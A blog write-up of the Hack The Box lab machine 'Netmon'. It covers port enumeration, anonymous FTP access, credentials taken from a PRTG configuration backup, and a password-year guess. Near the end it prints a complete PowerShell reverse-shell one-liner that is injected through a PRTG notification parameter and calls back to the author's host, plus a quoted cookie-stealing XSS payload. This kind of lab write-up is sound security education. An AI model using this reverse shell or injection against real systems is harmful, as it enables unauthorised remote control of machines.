Jai Minton

Jai Minton

Information and Cyber Security Professional. All thoughts and opinions expressed here are my own, and may not be representative of my employer, or any other entity unless I am specifically quoting someone. Content is licensed under the Creative Commons Attribution 4.0 International License.

Hack The Box - Netmon

6 minute read

NetmonImage

Summary

Netmon was a very simple box which highlighted issues with open FTP servers, plaintext configuration files, common password conventions, and blindly trusting custom user scripts. It showed how you could use a common monitoring service to get a foothold into an environment due to configuration and human mistakes rather than identified technical vulnerabilities.

Gaining Access

  • Find FTP server with anonymous access
  • Find and view user files

Elevating Privileges

  • Find PRTG Configuration backup file with credentials
  • Use password convention to log onto web application
  • Find notification area and demo script
  • Use demo script to get reverse shell

Write-up

Enumeration

Starting out I enumerated open ports.

root@mintsec:~/Desktop/machines/Netmon# nmap -sC -sV -oA netmon 10.10.10.152
Nmap scan report for 10.10.10.152
Host is up (0.35s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE      VERSION
21/tcp  open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19  12:18AM                 1024 .rnd
| 02-25-19  10:15PM       <DIR>          inetpub
| 07-16-16  09:18AM       <DIR>          PerfLogs
| 02-25-19  10:56PM       <DIR>          Program Files
| 02-03-19  12:28AM       <DIR>          Program Files (x86)
| 02-03-19  08:08AM       <DIR>          Users
|_02-25-19  11:49PM       <DIR>          Windows
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp  open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-04-20 10:03:54
|_  start_date: 2019-04-20 09:54:08

Find FTP server with anonymous access

This located an open FTP server which allows anonymous login, and a web server advertising itself as a Paessler PRTG Bandwidth Monitor.

OpenFTP

Looking for an easy win I connected to the FTP server and gave it a username of ‘anonymous’.

ftp 10.10.10.152
anonymous

331 Anonymous access allowed, send identity (e-mail name) as password.

This is actually more of a suggestion than a demand and submitting nothing as the password lets you connect successfully.

Find and view user files

From here I navigated down the directory by alternating the ‘cd’ (change directory) and ‘ls’ (list directory contents)

User.txt

After making it to the user.txt file, a simple ‘get’ command allowed it to be downloaded and viewed.

ftp> get user.txt

local: user.txt remote: user.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0.35 secs (0.0917 kB/s)

Gaining Access

User.txt: dd58c redacted 255a5

The next step was to get a shell of some kind, as I’d previously enumerated this is running a PRTG Bandwidth Monitor, so I ran a check for any known exploits against “PRTG”

searchsploit "PRTG"

PossibleExploits

Okay, so we have a couple to work with, I took a copy of both to get an idea of what the exploits entailed.

searchsploit -m "44500"
searchsploit -m "34108"
cat 34108.txt

source: http://www.securityfocus.com/bid/40630/info

"PRTG Traffic Grapher is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Versions prior to PRTG Traffic Grapher 6.2.1.963/964 are vulnerable.
http://example.com:8080/login.htm?url="><script>alert(document.cookie)</script>"

A fairly common XSS vulnerability probably wasn’t going to give me what I needed, so I checked the other exploit.

cat 44500.py

JewishNapalm

This exploit had been dubbed “Jewish Napalm” and included a Medium post, so I went over to the post to see what this was all about. It was quickly was apparent that this was in fact just a DoS exploit (which many users seemed to try and subsequently crashed the system). More exploring was required.

Find PRTG Configuration backup file with credentials

Looking back at the anonymous FTP server, I went browsing to see if I could find anything of value in the web service directory.

ftp> ls
02-25-19  10:15PM       <DIR>          inetpub
02-25-19  10:15PM       <DIR>          logs
02-25-19  10:15PM       <DIR>          wmsvc
02-25-19  10:48PM                27195 ex190226.log

Nothing of interest, looking back at the root directory I checked for any hidden folders which revealed “Program Data”.

ls -la

Use password convention to log onto web application

Going through Program Data and associated folders found config files and backup config files for PRTG. Grepping the backup configuration file revealed a username and password.

cat "PRTG Configuration.old.bak" | grep -B 2 -A 2 pass

PasswordConfig

  • prtgadmin
  • PrTg@dmin2018

This username and password failed to log onto the web application identified during enumeration; however, I noted that the password was an old backup, and it used the year 2018. Changing the password to 2019 would hopefully bring the goods.

PasswordConfig

prtgadmin
PrTg@dmin2019

Winner, with that I’d got my next foothold.

Find notification area and demo script

PRTG Network Monitor contained an area for setting up “notifications”.

NotificationArea

Curious I looked into this further and read the manual which provided some useful information on notifications. Looking at the notification area I found a PowerShell script could be called named “Demo Exe Notification - OutFile.ps1”.

After locating this example file using my FTP session I downloaded it for context.

ftp> get "Demo EXE Notification - OutFile.ps1
local: Demo EXE Notification - OutFile.ps1 remote: Demo EXE Notification - OutFile.ps1

NotificationScript

# Demo 'Powershell' Notification for Paessler Network Monitor
# Writes current Date/Time into a File
# 
# How to use it:
# 
# Create a exe-notification on PRTG, select 'Demo Exe Notifcation - OutFile.ps1' as program,
# The Parametersection consists of one parameter:
# 
# - Filename
# 
# e.g.
# 
#         "C:\temp\test.txt"
# 
# Note that the directory specified must exist.
# Adapt Errorhandling to your needs.
# This script comes without warranty or support.


if ($Args.Count -eq 0) {

  #No Arguments. Filename must be specified.

  exit 1;
 }elseif ($Args.Count -eq 1){


  $Path = split-path $Args[0];
  
  if (Test-Path $Path)    
  {
    $Text = Get-Date;
    $Text | out-File $Args[0];
    exit 0;
  
  }else
  {
    # Directory does not exist.
    exit 2;
  }
}

Use demo script to get reverse shell

What was apparent from this script is that it took user input in determining where the outputted file would be placed, but failed to perform any integrity checks or filtering on the supplied user input.

Using a neat PowerShell reverse shell created as part of the Nishang framework, I was easily able to first break out of the initial script using ‘;’ and then have the PRTG Network Monitor connect back to my machine.

;$client = New-Object System.Net.Sockets.TCPClient("10.10.14.57",8009);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Before initiating this payload, I setup a netcat listener to receive the connection.

nc -nlvp 8009

I then created an alert using the payload as a supplied user input and triggered it.

NotificationScript

Because the network monitoring service was running as Administrator, I’d now fully compromised this machine.

Root.txt: 30189 redacted a67cc

Final Notes

At the time of writing other HTB members had rated the machine elements as shown below. Feel free to reach out and provide any feedback or let me know if this helped.

Heatmap

You may also enjoy